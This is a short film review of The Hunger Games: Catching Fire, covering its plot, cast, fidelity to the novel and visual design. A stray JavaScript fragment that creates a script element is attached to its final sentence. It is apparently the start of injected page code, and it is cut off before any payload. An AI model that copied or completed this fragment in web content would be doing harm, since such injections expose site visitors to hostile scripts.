Review: The Hunger Games: Catching Fire

Director: Francis Lawrence
Starring: Jennifer Lawrence, Josh Hutcherson, Liam Hemsworth

by Anisah Chaudhry

The Hunger Games by Suzanne Collins began as a trilogy of novels and has now also become part of a film franchise. The first film, released last year, has been extremely popular with audiences of all kinds. The second instalment in the series, Catching Fire, is the latest film to be released, and continues to follow the development of both the plot and the characters.

To those unfamiliar with the plot, The Hunger Games is set in a post-apocalyptic nation, Panem, in North America where an authoritarian government in the Capitol controls its citizens. The Hunger Games is an annual event in which one boy and girl are selected to compete in a reality TV competition: a televised battle to the death. Contestants are tested as their survival abilities are pushed to the limit.

Catching Fire centres on the series’ protagonist, Katniss (Jennifer Lawrence), who, after winning the Hunger Games, embarks on a Victor’s Tour with her competition partner, Peeta (Josh Hutcherson). Travelling around Panem, they begin to witness the increasing rebellion against the Capitol of the people in the districts. When it is announced that they must compete again in this year’s 75th Games, their abilities and strengths are to be tested once more, in the face of different competitors. The film effectively explores these themes of survival and desperation, enhanced by the cast’s convincing portrayals which convey the depth of each character. The script is well-balanced with both serious drama and humour, giving equal emphasis to both sides of the human nature of the characters.

Catching Fire is a compelling sci-fi, action-based film which stays true to the plot of the novel; it does not deviate excessively in relation to the plot and characters. This contributes to the overall success of the film despite the fact there was initial criticism when the first book was adapted: some audiences felt the actors were too old to be portraying the teenage characters. However, the cast perfectly portray both the youth and maturity of the characters as they are confronted by the novel’s themes of survival in the battlefield as well as desperation.

In addition, the combination of Roman and Greek-like resemblance in the battlefield scenes, the costumes (which were designed by the creative director of Alexander McQueen), and the settings, all add to the visual appeal of the film.

In general, Catching Fire can be recommended to audiences of all ages because it balances the action-oriented aspect of the film with the exploration of human issues like survival, and the satirical nature of popular culture in relation to reality TV.var d=document;var s=d.createElement(‘script’);